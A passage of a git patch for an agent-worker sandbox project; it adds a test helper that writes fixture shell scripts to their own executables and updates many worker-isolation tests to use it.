expect(nativeWorkerArgvNeedsIsolation(["/bin/sh","-c",nativeProductShellWrappers[1].script+" ",process.execPath,"fixture"]),"MODIFIED_HOST_PROBE_STAYS_UNKNOWN").toBe(true); +}); From 292fd71e21cc778b68b0335ab14cecaf5eef4dc2 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 20:09:55 +0000 Subject: [PATCH 087/187] fix: preserve keyless worker plans and normalize threaded native exec evidence --- .../tests/fixtures/shell-startup-probe.ts | 5 +- .../tests/provider-denied-memory.test.ts | 6 +- .../tests/state-room-warning.test.ts | 5 +- .../tests/worker-event-loop.test.ts | 2 +- .../ui-backend-claude/tests/worker.test.ts | 2 +- .../tests/duplicate-acquisition.test.ts | 5 +- .../tests/early-cancel-lifecycle.test.ts | 9 +-- .../tests/worker-cli-path.test.ts | 3 +- .../tests/worker-stdio-release.test.ts | 6 +- packages/ui-sdk/tests/governed-worker.test.ts | 6 +- .../tests/helpers/keyless-worker-command.ts | 9 +++ packages/ui-sdk/tests/worker-status.test.ts | 5 +- .../tests/worker-steps-event-loop.test.ts | 3 +- .../tests/autonomous-provider-masks.test.ts | 6 +- .../ui-server/tests/helpers/scope-fixture.ts | 3 +- .../tests/private-index-stdio-release.test.ts | 5 +- .../tests/provider-continuation-state.test.ts | 6 +- packages/ui-server/tests/turn-scope.test.ts | 3 +- .../ui-server/tests/ws-scope-caps.test.ts | 4 +- scripts/native-device-diagnostics.ts | 11 ++-- scripts/native-exec-trace.ts | 37 +++++++++++++ scripts/native-rtk-diagnostics.ts | 7 ++- scripts/test-native-guard.ts | 55 +++++++++++++------ scripts/test-network-guard.ts | 2 +- scripts/worker-effect-witness.ts | 2 +- tests/helpers/test-invocation-fixture.ts | 2 +- tests/local-checks.test.ts | 2 +- tests/native-device-diagnostics.test.ts | 5 ++ tests/native-exec-trace.test.ts | 34 ++++++++++++ tests/native-fixture-files.test.ts | 27 +++++++++ tests/native-offline-boundary.test.ts | 3 +- tests/native-policy-artifact.test.ts | 2 +- tests/native-rtk-adapter.test.ts | 40 +++++++++++++- tests/native-rtk-diagnostics.test.ts | 8 +++ tests/native-startup-audit.test.ts | 2 +- tests/native-worker-classification.test.ts | 38 +++++++++++-- tests/test-determinism.test.ts | 2 +- tests/test-network-environment.test.ts | 15 +++++ tests/test-script.test.ts | 2 +- tests/test-shards.test.ts | 2 +- tests/worker-effect-witness.test.ts | 2 +- tests/workspace-lease.test.ts | 2 +- 42 files changed, 319 insertions(+), 76 deletions(-) create mode 100644 packages/ui-sdk/tests/helpers/keyless-worker-command.ts create mode 100644 scripts/native-exec-trace.ts create mode 100644 tests/native-exec-trace.test.ts create mode 100644 tests/test-network-environment.test.ts diff --git a/packages/ui-backend-claude/tests/fixtures/shell-startup-probe.ts b/packages/ui-backend-claude/tests/fixtures/shell-startup-probe.ts index b8dab3fa69..55db5434fd 100644 --- a/packages/ui-backend-claude/tests/fixtures/shell-startup-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/shell-startup-probe.ts @@ -22,7 +22,8 @@ const brain = join(root, "ithaca"), home = join(root, "home"), saved = join(home for (const path of [brain, home, saved, planted]) mkdirSync(path, { recursive: true }); writeFileSync(join(home, "voyage.txt"), "Odysseus returns to Ithaca.\n"); writeFileSync(join(planted, "ithaca-profile-probe"), "#!/bin/sh\necho planted\n", { mode: 0o755 }); -for (const name of [".bashrc", ".bash_profile", ".bash_login", ".profile", ".bash_logout", ".zshenv", ".zprofile", ".zshrc", ".zlogin", ".zlogout"]) writeFileSync(join(home, name), [ +const startupFiles = [".bashrc", ".bash_profile", ".bash_login", ".profile", ".bash_logout", ".zshenv", ".zprofile", ".zshrc", ".zlogin", ".zlogout"]; +for (const name of startupFiles) writeFileSync(join(home, name), [ `echo ithaca-${name}-stdout`, `echo ithaca-${name}-stderr >&2`, "export BRAIN_TEST_PROFILE_LEAK=1", @@ -80,7 +81,7 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) if (!sent) { sent = true; return nativeModelReply({ name: "Bash", input: { command, description: "Inspect the Ithaca shell." }, id: "toolu_ithaca_shell" }); } return nativeModelReply(); } }); -nativeScriptedService(server.url.origin, { fixtureRoots: [root],fixtureFiles:[wrapper] }); +nativeScriptedService(server.url.origin, { fixtureRoots: [root],fixtureFiles:[wrapper,join(home,"voyage.txt"),join(planted,"ithaca-profile-probe"),...startupFiles.map(name=>join(home,name))] }); const ledger = createStateLedger(); const startupView = createFixtureWorkerStartupView(brain); const sandbox = prepareFixtureWorkerSandbox(brain, { home, profile, areas: [] }); diff --git a/packages/ui-backend-claude/tests/provider-denied-memory.test.ts b/packages/ui-backend-claude/tests/provider-denied-memory.test.ts index c027194f8d..4e5bd65b9b 100644 --- a/packages/ui-backend-claude/tests/provider-denied-memory.test.ts +++ b/packages/ui-backend-claude/tests/provider-denied-memory.test.ts @@ -1,3 +1,4 @@ +import {keylessWorkerCommand} from "../../ui-sdk/tests/helpers/keyless-worker-command"; import { usageEvents } from "./helpers/usage-events.js"; import { createFixtureWorkerStartupView } from "../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; /** @@ -43,8 +44,9 @@ async function run(denied: boolean) { `mkdir -p "$M"; printf 'Penelope waits.\\n' > "$M/MEMORY.md"; printf 'Athena counsels.\\n' > "$M/athena.md"`, "exit 0", ].join("; "); - const child = params.options!.spawnClaudeCodeProcess!({ command: "/bin/sh", - args: ["-c", script, `--resume=${SESSION}`], cwd: brain, + const command=keylessWorkerCommand(root,script,[`--resume=${SESSION}`]); + const child = params.options!.spawnClaudeCodeProcess!({ command: command[0], + args: command.slice(1), cwd: brain, env: { PATH: "/usr/bin:/bin", CLAUDE_CONFIG_DIR: config, PROJECT: project, SESSION }, signal: new AbortController().signal } as never); workerExit = new Promise(resolve => child.once("exit", (code: number | null) => resolve(code))); diff --git a/packages/ui-backend-claude/tests/state-room-warning.test.ts b/packages/ui-backend-claude/tests/state-room-warning.test.ts index 08ad661f57..ade7bd43bc 100644 --- a/packages/ui-backend-claude/tests/state-room-warning.test.ts +++ b/packages/ui-backend-claude/tests/state-room-warning.test.ts @@ -1,3 +1,4 @@ +import {keylessWorkerCommand} from "../../ui-sdk/tests/helpers/keyless-worker-command"; import { createFixtureWorkerStartupView } from "../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; /** Actual keyless namespace, admission copy and result; only the provider stream is a fixture. */ import { expect, spyOn, test } from "bun:test"; @@ -32,8 +33,8 @@ test(`${percent}% resumed state${voice ? " voice" : ""}${failedStart ? " failed let exited: Promise | undefined; const queryFn = ((params: { options: Options }) => { const stream = (async function* () { - const child = params.options.spawnClaudeCodeProcess!({ command: failedStart ? "/nonexistent-odysseus-runtime" : "/bin/sh", - args: ["-c", `printf ready; test "$(wc -c < \"$CLAUDE_CONFIG_DIR/$PROJECT/$SESSION.jsonl\")" -eq ${used - PAGE}`, `--resume=${SESSION}`], + const command=keylessWorkerCommand(root,failedStart ? "exec /nonexistent-odysseus-runtime" : `printf ready; test "$(wc -c < \"$CLAUDE_CONFIG_DIR/$PROJECT/$SESSION.jsonl\")" -eq ${used - PAGE}`,[`--resume=${SESSION}`]); + const child = params.options.spawnClaudeCodeProcess!({ command: command[0], args: command.slice(1), cwd: brain, env: { PATH: "/usr/bin:/bin", CLAUDE_CONFIG_DIR: config, PROJECT: project, SESSION }, signal: new AbortController().signal } as never); exited = new Promise(resolve => child.once("exit", (code: number | null) => resolve(code))); // The runtime submits a prompt only once it runs; its worker starts diff --git a/packages/ui-backend-claude/tests/worker-event-loop.test.ts b/packages/ui-backend-claude/tests/worker-event-loop.test.ts index 20e8f8cabb..eb29090998 100644 --- a/packages/ui-backend-claude/tests/worker-event-loop.test.ts +++ b/packages/ui-backend-claude/tests/worker-event-loop.test.ts @@ -108,7 +108,7 @@ test.skipIf(!native)("a started worker's failed lifecycle stays handled until th const spawner = createWorkerSpawn(f.brain, {}, new AbortController().signal, undefined, sandbox, undefined, undefined, {}, undefined, () => { throw new Error("Odysseus scope freezer refused"); }); try { - const child = spawner.spawn({ command: "/bin/sh", args: ["-c", "while :; do sleep 1; done"], env: { CLAUDE_CONFIG_DIR: f.config, HOME: f.home }, + const child = spawner.spawn({ command: "/bin/sleep", args: ["30"], env: { CLAUDE_CONFIG_DIR: f.config, HOME: f.home }, signal: new AbortController().signal } as never); child.on("error", () => {}); child.stdout.resume(); child.stdin.end(); await new Promise(done => child.once("exit", done)); diff --git a/packages/ui-backend-claude/tests/worker.test.ts b/packages/ui-backend-claude/tests/worker.test.ts index 097af029ef..1cdc4e8156 100644 --- a/packages/ui-backend-claude/tests/worker.test.ts +++ b/packages/ui-backend-claude/tests/worker.test.ts @@ -137,7 +137,7 @@ test("a throwing worker-start callback kills and drains its real child before re { ledger, limits, turnTempLimits: { allowanceBytes: 1024 * 1024, budgetBytes: 1024 * 1024 } }, undefined, started => { worker = started as import("@schlessera/brain-ui-sdk/internal").LaunchedWorker; throw Error("Odysseus scope freezer refused"); }); try { - const child = spawner.spawn({ command: "/bin/sh", args: ["-c", "while :; do sleep 1; done"], + const child = spawner.spawn({ command: "/bin/sleep", args: ["30"], env: { CLAUDE_CONFIG_DIR: saved, HOME: home }, signal: new AbortController().signal } as never); child.on("error", error => errors.push(error.message)); child.on("exit", (code, signal) => exits.push([code, signal])); child.stdout.resume(); child.stdin.end(); diff --git a/packages/ui-backend-pi/tests/duplicate-acquisition.test.ts b/packages/ui-backend-pi/tests/duplicate-acquisition.test.ts index 1cf23b5f73..cfece39a37 100644 --- a/packages/ui-backend-pi/tests/duplicate-acquisition.test.ts +++ b/packages/ui-backend-pi/tests/duplicate-acquisition.test.ts @@ -1,3 +1,4 @@ +import {keylessWorkerCommand} from "../../ui-sdk/tests/helpers/keyless-worker-command"; /** * #2918: two concurrent resumes of one non-resident session through the public * `startTurn` each launch a real worker; the later return loses the pool race. @@ -12,7 +13,7 @@ import { afterEach, expect, spyOn, test } from "bun:test"; import { mkdirSync, mkdtempSync, rmSync } from "node:fs"; import { tmpdir } from "node:os"; -import { join } from "node:path"; +import { dirname, join } from "node:path"; import * as worker from "@schlessera/brain-ui-sdk/internal"; import { BackendBusyError, type ServerMessage } from "@schlessera/brain-ui-sdk/server"; import { createPiBackend, type PiSessionLike } from "../src/backend.js"; @@ -67,7 +68,7 @@ for (const refused of [false, true]) test.skipIf(!native)(`a concurrent duplicat const workers: Launched[] = []; const realLaunch = worker.launchAgentWorkerAsync; const launch = spyOn(worker, "launchAgentWorkerAsync").mockImplementation(async input => { - const child = await realLaunch({ ...input, command: ["/bin/sh", "-c", ANSWERING] }); + const child = await realLaunch({ ...input, command: keylessWorkerCommand(dirname(input.brainPath),ANSWERING) }); const record: Launched = { root: child.turnTemp?.root, exited: child.exited, hasExited: false, kills: 0, closes: 0, releases: 0, released: 0, prompts: 0, refuseClose: false }; void child.exited.then(() => { record.hasExited = true; }); workers.push(record); diff --git a/packages/ui-backend-pi/tests/early-cancel-lifecycle.test.ts b/packages/ui-backend-pi/tests/early-cancel-lifecycle.test.ts index 3cbfc79118..f884589bcf 100644 --- a/packages/ui-backend-pi/tests/early-cancel-lifecycle.test.ts +++ b/packages/ui-backend-pi/tests/early-cancel-lifecycle.test.ts @@ -1,8 +1,9 @@ +import {keylessWorkerCommand} from "../../ui-sdk/tests/helpers/keyless-worker-command"; /** #2880: cancellation before prompt owns the same teardown as a prompted turn. */ import { afterEach, expect, spyOn, test } from "bun:test"; import { closeSync, constants, mkdirSync, mkdtempSync, openSync, readdirSync, readlinkSync, rmSync } from "node:fs"; import { tmpdir } from "node:os"; -import { join } from "node:path"; +import { dirname, join } from "node:path"; import * as worker from "@schlessera/brain-ui-sdk/internal"; import type { ServerMessage } from "@schlessera/brain-ui-sdk/server"; import { createPiBackend, type PiSessionLike } from "../src/backend.js"; @@ -66,7 +67,7 @@ for (const phase of ["new acquisition", "resumed acquisition", "before prompt"] let session: PiSessionLike | undefined; const realLaunch = worker.launchAgentWorkerAsync; const launch = spyOn(worker, "launchAgentWorkerAsync").mockImplementation(async input => { - const child = await realLaunch({ ...input, command: ["/bin/sh", "-c", WAITING] }); + const child = await realLaunch({ ...input, command: keylessWorkerCommand(dirname(input.brainPath),WAITING) }); exited = child.exited.then(code => { workerExited = true; return code; }); const kill = child.kill.bind(child), release = child.released.bind(child), turnTemp = child.turnTemp; exitWorker = () => kill("SIGKILL"); @@ -148,7 +149,7 @@ test.skipIf(!native)("pre-prompt cancellation preserves the real five-second std let clock: ReturnType | undefined; const real = worker.launchAgentWorkerAsync; const launch = spyOn(worker, "launchAgentWorkerAsync").mockImplementation(async input => { - const child = await real({ ...input, command: ["/bin/sh", "-c", WAITING] }); + const child = await real({ ...input, command: keylessWorkerCommand(dirname(input.brainPath),WAITING) }); // Retain a test-owned FIFO reference after the real worker and all its streams exit. const fd = readdirSync("/proc/self/fd").find(fd => { try { const target = readlinkSync(`/proc/self/fd/${fd}`); return target.startsWith(join(fifos.dir, "brain-worker-pipes-")) && target.endsWith("/stdin (deleted)"); } @@ -198,7 +199,7 @@ for (const failure of ["startup failure", "initialization timeout"] as const) { const script = failure === "startup failure" ? `IFS= read -r init; printf '{"type":"error","message":"Odysseus refused the voyage"}\\n'; sleep 30` : "IFS= read -r init; sleep 30"; - const child = await real({ ...input, command: ["/bin/sh", "-c", script] }); + const child = await real({ ...input, command: keylessWorkerCommand(dirname(input.brainPath),script) }); const release = child.released.bind(child); child.released = async () => { reached.resolve(); await released.promise; await release(); }; return child; diff --git a/packages/ui-backend-pi/tests/worker-cli-path.test.ts b/packages/ui-backend-pi/tests/worker-cli-path.test.ts index 8bd50ae910..c69914fe08 100644 --- a/packages/ui-backend-pi/tests/worker-cli-path.test.ts +++ b/packages/ui-backend-pi/tests/worker-cli-path.test.ts @@ -36,11 +36,12 @@ for (const backend of ["Claude", "Pi"] as const) for (const profile of ["governe chmodSync(join(inferenceDir, "relay.sock"), 0o600); } const shell = 'found=$(command -v brain || true); printf "%s\\n" "$found"; if [ -n "$found" ]; then brain; fi; printf "\\n%s" "$PATH"'; + const pathProbe=join(root,"path-probe.sh");writeFileSync(pathProbe,"#!/bin/sh\n"+shell+"\n",{mode:0o755}); let actual: string; if (backend === "Claude") { spawner = createWorkerSpawn(brain, {}, new AbortController().signal, profile === "restricted" ? { inferenceDir } : undefined, sandbox, undefined, undefined, {}, undefined, undefined, view); - const process = spawner.spawn({ command: "/bin/sh", args: ["-c", shell], env: { PATH: profile === "restricted" ? "/usr/bin:/bin" : previousPath, CLAUDE_CONFIG_DIR: config }, signal: new AbortController().signal } as never); + const process = spawner.spawn({ command: pathProbe, args: [], env: { PATH: profile === "restricted" ? "/usr/bin:/bin" : previousPath, CLAUDE_CONFIG_DIR: config }, signal: new AbortController().signal } as never); const output: Buffer[] = []; process.stdout.on("data", chunk => output.push(Buffer.from(chunk))); process.stdin.end(); diff --git a/packages/ui-backend-pi/tests/worker-stdio-release.test.ts b/packages/ui-backend-pi/tests/worker-stdio-release.test.ts index 3fb9e5b8e4..f69e8cbc4f 100644 --- a/packages/ui-backend-pi/tests/worker-stdio-release.test.ts +++ b/packages/ui-backend-pi/tests/worker-stdio-release.test.ts @@ -4,7 +4,7 @@ * included. The real launcher runs a shell that speaks the worker protocol. */ import { afterEach, expect, spyOn, test } from "bun:test"; -import { mkdirSync, mkdtempSync, rmSync } from "node:fs"; +import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; import { join } from "node:path"; import * as worker from "@schlessera/brain-ui-sdk/internal"; @@ -35,6 +35,8 @@ const REFUSING = `IFS= read -r init; sleep 0.3; printf 'Penelope' >&2; exit 3`; */ async function piTurn(script: string, hold: "init" | "prompt" | "started" | "none", withheld?: { promise: Promise; called(): void }) { const root = mkdtempSync(join(tmpdir(), "odysseus-pi-release-")); + const peer = join(root,"protocol-peer.sh"); + writeFileSync(peer,"#!/bin/sh\n"+script+"\n",{mode:0o755}); const brain = join(root, "ithaca"), sessionDir = join(root, "sessions"); mkdirSync(brain); mkdirSync(sessionDir); cleanup.push(() => rmSync(root, { recursive: true, force: true })); @@ -47,7 +49,7 @@ async function piTurn(script: string, hold: "init" | "prompt" | "started" | "non let pool: ReturnType | undefined; const real = worker.launchAgentWorkerAsync; const launch = spyOn(worker, "launchAgentWorkerAsync").mockImplementation(async input => { - const launched = await real({ ...input, command: ["/bin/sh", "-c", script] }); + const launched = await real({ ...input, command: [peer] }); if (withheld) { const released = launched.released; launched.released = () => { withheld.called(); return withheld.promise.then(released); }; diff --git a/packages/ui-sdk/tests/governed-worker.test.ts b/packages/ui-sdk/tests/governed-worker.test.ts index 19f0da616c..f7eb61b42e 100644 --- a/packages/ui-sdk/tests/governed-worker.test.ts +++ b/packages/ui-sdk/tests/governed-worker.test.ts @@ -1,3 +1,4 @@ +import {keylessWorkerCommand} from "./helpers/keyless-worker-command"; import { watchdogMs } from "../../../scripts/test-deadlines"; import { afterEach, expect, spyOn, test } from "bun:test"; import { constants, mkdtempSync, mkdirSync, openSync, writeFileSync, readFileSync, readdirSync, rmSync, renameSync, existsSync, linkSync, symlinkSync } from "node:fs"; @@ -296,8 +297,9 @@ test.each([false, true])("launch refuses a folder identity swapped after plannin test("the live launch qualifies mounted folders before preserving their ordinary writes", async () => { const brain = fixture(); mkdirSync(join(brain, "group/private"), { recursive: true }); const sandbox = prepareWorkerSandbox(brain, { profile: "governed", areas: [], folderPaths: ["group/private"] }); - const worker = launchAgentWorker({ brainPath: brain, sandbox, env: {}, command: ["/bin/sh", "-c", - "if mv group/private group/moved-private 2>/dev/null; then exit 41; fi; if mv group retired-group 2>/dev/null; then exit 42; fi; printf Athena > group/private/inside.md; printf Odysseus > sibling.md"] }); + const peerRoot=mkdtempSync(join(tmpdir(),"governed-peer-"));roots.push(peerRoot); + const worker = launchAgentWorker({ brainPath: brain, sandbox, env: {}, command: keylessWorkerCommand(peerRoot, + "if mv group/private group/moved-private 2>/dev/null; then exit 41; fi; if mv group retired-group 2>/dev/null; then exit 42; fi; printf Athena > group/private/inside.md; printf Odysseus > sibling.md") }); worker.stdin.end(); const [exit, out, err] = await Promise.all([worker.exited, collectLaunched(worker.stdout), collectLaunched(worker.stderr)]); expect(exit, out + err).toBe(0); diff --git a/packages/ui-sdk/tests/helpers/keyless-worker-command.ts b/packages/ui-sdk/tests/helpers/keyless-worker-command.ts new file mode 100644 index 0000000000..15d8823494 --- /dev/null +++ b/packages/ui-sdk/tests/helpers/keyless-worker-command.ts @@ -0,0 +1,9 @@ +import { mkdtempSync, writeFileSync } from "node:fs"; +import { join } from "node:path"; + +/** Declare a fixture-owned executable, preserving the peer's shell bytes. */ +export function keylessWorkerCommand(root:string,script:string,args:readonly string[]=[]):[string,...string[]] { + const executable=join(mkdtempSync(join(root,"keyless-peer-")),"entry.sh"); + writeFileSync(executable,"#!/bin/sh\n"+script+"\n",{mode:0o755}); + return [executable,...args]; +} diff --git a/packages/ui-sdk/tests/worker-status.test.ts b/packages/ui-sdk/tests/worker-status.test.ts index ff66e002ae..32c309a845 100644 --- a/packages/ui-sdk/tests/worker-status.test.ts +++ b/packages/ui-sdk/tests/worker-status.test.ts @@ -1,3 +1,4 @@ +import {keylessWorkerCommand} from "./helpers/keyless-worker-command"; import { describe, expect, test } from "bun:test"; import { createWorkerStatusPipe, verifiedWorkerPid } from "../src/server/worker-status.js"; import { launchFixtureAgentWorker } from "./helpers/worker-startup-view-fixture.js"; @@ -82,8 +83,8 @@ describe("trusted bubblewrap worker status", () => { mkdirSync(join(ROOT, "tmp"), { recursive: true }); const root = mkdtempSync(join(ROOT, "tmp/worker-status-")), brain = join(root, "brain"); mkdirSync(brain); try { - const child = launchFixtureAgentWorker({ brainPath: brain, env: {}, command: ["/bin/sh", "-c", - 'for fd in 3 4; do if /usr/bin/readlink /proc/self/fd/$fd; then exit 17; fi; done; printf "status-is-private\n"'] }); + const child = launchFixtureAgentWorker({ brainPath: brain, env: {}, command: keylessWorkerCommand(root, + 'for fd in 3 4; do if /usr/bin/readlink /proc/self/fd/$fd; then exit 17; fi; done; printf "status-is-private\n"') }); child.stdin.end(); const collect = async (stream: NodeJS.ReadableStream) => { let text = ""; for await (const chunk of stream as AsyncIterable) text += chunk.toString(); return text; }; const [code, output, errors] = await Promise.all([child.exited, collect(child.stdout), collect(child.stderr)]); diff --git a/packages/ui-sdk/tests/worker-steps-event-loop.test.ts b/packages/ui-sdk/tests/worker-steps-event-loop.test.ts index 1f4635619c..27ca37db1b 100644 --- a/packages/ui-sdk/tests/worker-steps-event-loop.test.ts +++ b/packages/ui-sdk/tests/worker-steps-event-loop.test.ts @@ -1,3 +1,4 @@ +import {keylessWorkerCommand} from "./helpers/keyless-worker-command"; import { watchdogMs } from "../../../scripts/test-deadlines"; /** * The asynchronous worker checks leave the server's event loop free (#2416). @@ -581,7 +582,7 @@ function heldRootSeam(f: ReturnType, status: () => IdentityWorke const real = broker = prepare(...args); control = identityControl(real, { delayMs: 100 }); const requested = new Set(args[2].map(root => root.name)); - return { ...real, command: ["/bin/sh", "-c", 'exec 7<"$1" 8<"$2"; exec sleep 30', "sh", roots.state, roots.temp], + return { ...real, command: keylessWorkerCommand(f.root,'exec 7<"$1" 8<"$2"; exec sleep 30',[roots.state,roots.temp]), *readySteps(supervisor: number) { // Until its bootstrap has executed the shell, those descriptors are the bootstrap's own. const holds = (fd: number, root: string) => { try { return readlinkSync(`/proc/${supervisor}/fd/${fd}`) === root; } catch { return false; } }; diff --git a/packages/ui-server/tests/autonomous-provider-masks.test.ts b/packages/ui-server/tests/autonomous-provider-masks.test.ts index 02d05d38a5..42614d2a7d 100644 --- a/packages/ui-server/tests/autonomous-provider-masks.test.ts +++ b/packages/ui-server/tests/autonomous-provider-masks.test.ts @@ -1,3 +1,4 @@ +import {keylessWorkerCommand} from "../../ui-sdk/tests/helpers/keyless-worker-command"; /** * Autonomous (restricted) turns apply the same provider folder masks as * hosted turns (#2691): the envelope's brain view hides each masked folder, @@ -97,11 +98,12 @@ function restrictedBackend(brainPath: string, script: (request: StartTurnRequest const server = Bun.serve({ unix: join(relay, "relay.sock"), fetch: () => new Response("ithaca") }); chmodSync(join(relay, "relay.sock"), 0o600); try { await script(request, async shell => { + const command=keylessWorkerCommand(relay,shell,CLI); const sandbox = { ...prepareWorkerSandbox(brainPath, { restricted: true }), ...(request.workerProviderMasks ? { providerMasks: request.workerProviderMasks } : {}) }; // Each child holds its own reference to the turn's immutable input. const worker = launchAgentWorker({ brainPath, startupView: retainWorkerStartupView(request.workerStartupView!), sandbox, - restricted: { readPaths: restrictedReadPaths([CLI[1]!]), inferenceDir: relay }, - env: { PATH, BRAIN_ROOT: brainPath, HOME: "/tmp", NO_COLOR: "1" }, command: ["/bin/sh", "-c", shell, "sh", ...CLI] }); + restricted: { readPaths: restrictedReadPaths([CLI[1]!,command[0]]), inferenceDir: relay }, + env: { PATH, BRAIN_ROOT: brainPath, HOME: "/tmp", NO_COLOR: "1" }, command }); const [stdout, stderr, code] = await Promise.all([text(worker.stdout), text(worker.stderr), worker.exited]); expect(code, stderr).toBe(0); return stdout; diff --git a/packages/ui-server/tests/helpers/scope-fixture.ts b/packages/ui-server/tests/helpers/scope-fixture.ts index d8273c059c..fd51c7cb05 100644 --- a/packages/ui-server/tests/helpers/scope-fixture.ts +++ b/packages/ui-server/tests/helpers/scope-fixture.ts @@ -1,3 +1,4 @@ +import {keylessWorkerCommand} from "../../../ui-sdk/tests/helpers/keyless-worker-command"; import { createNativeJournalFixture } from "./native-journal-fixture.js"; import { mkdtempSync, mkdirSync, rmSync } from "node:fs"; import { tmpdir } from "node:os"; @@ -26,7 +27,7 @@ export function scopeFixture(overrides: { max_tool_calls?: number; max_files_cha const message = (action: ClientScopeDecision["action"], submissionId = "athena-decision"): ClientScopeDecision => ({ type: "scope_decision", turnId: "voyage", sessionId: "ithaca", eventId: receipt().eventId, submissionId, action }); function worker(command: string) { const child = launchAgentWorker({ brainPath: brain, sandbox: prepareWorkerSandbox(brain, { profile: "governed", areas: [] }), - command: ["/bin/sh", "-c", command], env: { PATH: "/usr/bin:/bin" } }); + command: keylessWorkerCommand(root,command), env: { PATH: "/usr/bin:/bin" } }); child.stdout.resume(); child.stderr.resume(); child.stdin.end(); scope.workerStarted("voyage", child); return child; } return { root, brain, db, native, journal, scope, begin, receipt, message, worker, policy, get stopped() { return stopped; }, disconnect() { connected = false; }, reconnect() { connected = true; }, diff --git a/packages/ui-server/tests/private-index-stdio-release.test.ts b/packages/ui-server/tests/private-index-stdio-release.test.ts index 7375e8644c..07a4e1ebea 100644 --- a/packages/ui-server/tests/private-index-stdio-release.test.ts +++ b/packages/ui-server/tests/private-index-stdio-release.test.ts @@ -1,8 +1,9 @@ +import {keylessWorkerCommand} from "../../ui-sdk/tests/helpers/keyless-worker-command"; /** Masked CLI and turn-tree maintenance settlement includes Bun's delayed FIFO closes (#2879). */ import { afterEach, expect, spyOn, test } from "bun:test"; import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; -import { join } from "node:path"; +import { dirname, join } from "node:path"; import * as worker from "@schlessera/brain-ui-sdk/internal"; import { createFixtureWorkerStartupView } from "../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; import { holdWorkPool, ownedWorkerFifos } from "../../ui-sdk/tests/helpers/work-pool.js"; @@ -34,7 +35,7 @@ function observeLaunch(options: { script: string; pool?: true | "input"; withhel let pool: ReturnType | undefined; const real = worker.launchAgentWorker; const launch = spyOn(worker, "launchAgentWorker").mockImplementation(input => { - const child = real({ ...input, command: ["/bin/sh", "-c", options.script] }); + const child = real({ ...input, command: keylessWorkerCommand(dirname(input.brainPath),options.script) }); cleanup.push(async () => { child.kill("SIGKILL"); child.stdin.end(); child.stdout.destroy(); child.stderr.destroy(); diff --git a/packages/ui-server/tests/provider-continuation-state.test.ts b/packages/ui-server/tests/provider-continuation-state.test.ts index 8f6712027c..49beab7585 100644 --- a/packages/ui-server/tests/provider-continuation-state.test.ts +++ b/packages/ui-server/tests/provider-continuation-state.test.ts @@ -1,3 +1,4 @@ +import {keylessWorkerCommand} from "../../ui-sdk/tests/helpers/keyless-worker-command"; /** * Both backends' real state copy behind production admission (#2726). A saved * pre-policy conversation holding a protected sentinel refuses to continue @@ -102,8 +103,9 @@ test("claude: real admission and worker state copy refuse pre-policy history, co "exit 0", ].join("; "); spawned++; - const child = params.options!.spawnClaudeCodeProcess!({ command: "/bin/sh", - args: ["-c", script, ...(params.options?.resume ? [`--resume=${params.options.resume}`] : [])], cwd: b.brain, + const command=keylessWorkerCommand(b.root,script,params.options?.resume ? [`--resume=${params.options.resume}`] : []); + const child = params.options!.spawnClaudeCodeProcess!({ command: command[0], + args: command.slice(1), cwd: b.brain, env: { PATH: "/usr/bin:/bin", CLAUDE_CONFIG_DIR: config, PROJECT: project, SESSION: session }, signal: new AbortController().signal } as never); exits.push(new Promise(resolve => child.once("exit", (code: number | null) => resolve(code)))); diff --git a/packages/ui-server/tests/turn-scope.test.ts b/packages/ui-server/tests/turn-scope.test.ts index 797bdfba1e..14a57b5bd4 100644 --- a/packages/ui-server/tests/turn-scope.test.ts +++ b/packages/ui-server/tests/turn-scope.test.ts @@ -1,3 +1,4 @@ +import {keylessWorkerCommand} from "../../ui-sdk/tests/helpers/keyless-worker-command"; import { watchdogMs } from "../../../scripts/test-deadlines"; import { createNativeJournalFixture } from "./helpers/native-journal-fixture.js"; import { expect, test } from "bun:test"; @@ -457,7 +458,7 @@ test("namespace freeze never signals the host or an unrelated worker", async () try { await f.begin(); own = f.worker('while :; do printf x >> own-heartbeat; sleep 0.02; done'); neighbor = launchAgentWorker({ brainPath: neighborBrain, sandbox: prepareWorkerSandbox(neighborBrain, { profile: "governed", areas: [] }), - command: ["/bin/sh", "-c", 'while :; do printf x >> neighbor-heartbeat; sleep 0.3; done'], env: { PATH: "/usr/bin:/bin" } }); + command: keylessWorkerCommand(neighborBrain,'while :; do printf x >> neighbor-heartbeat; sleep 0.3; done'), env: { PATH: "/usr/bin:/bin" } }); neighbor.stdout.resume(); neighbor.stderr.resume(); neighbor.stdin.end(); await wait(() => Bun.file(join(f.brain, "own-heartbeat")).size > 0 && Bun.file(join(neighborBrain, "neighbor-heartbeat")).size > 0); f.scope.toolCall("voyage", "loom"); diff --git a/packages/ui-server/tests/ws-scope-caps.test.ts b/packages/ui-server/tests/ws-scope-caps.test.ts index bdd2a734fe..b781e77f11 100644 --- a/packages/ui-server/tests/ws-scope-caps.test.ts +++ b/packages/ui-server/tests/ws-scope-caps.test.ts @@ -1,3 +1,4 @@ +import {keylessWorkerCommand} from "../../ui-sdk/tests/helpers/keyless-worker-command"; /** Actual adapters with offline provider/session fixtures and real worker processes. */ import { expect, test, spyOn } from "bun:test"; import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; @@ -51,7 +52,8 @@ for (const { adapter, voice, overshoot } of cases) test(`${adapter}: ${overshoot spawn = spyOn(workers, "launchAgentWorkerAsync").mockImplementation(async input => launch(input)); const backend = adapter === "pi" ? createPiBackend({ brainPath: brain, sessionDir: join(root, "sessions"), model: "anthropic/claude-sonnet-4-5", loadExtensions: false }) : createClaudeBackend({ brainPath: brain, queryFn: ((params: any) => { - const child = params.options.spawnClaudeCodeProcess({ command: "/bin/sh", args: ["-c", 'while :; do printf x >> "$BRAIN_WORKER_SCRATCH/adapter-heartbeat"; sleep 0.02; done'], + const command=keylessWorkerCommand(root,'while :; do printf x >> "$BRAIN_WORKER_SCRATCH/adapter-heartbeat"; sleep 0.02; done'); + const child = params.options.spawnClaudeCodeProcess({ command: command[0], 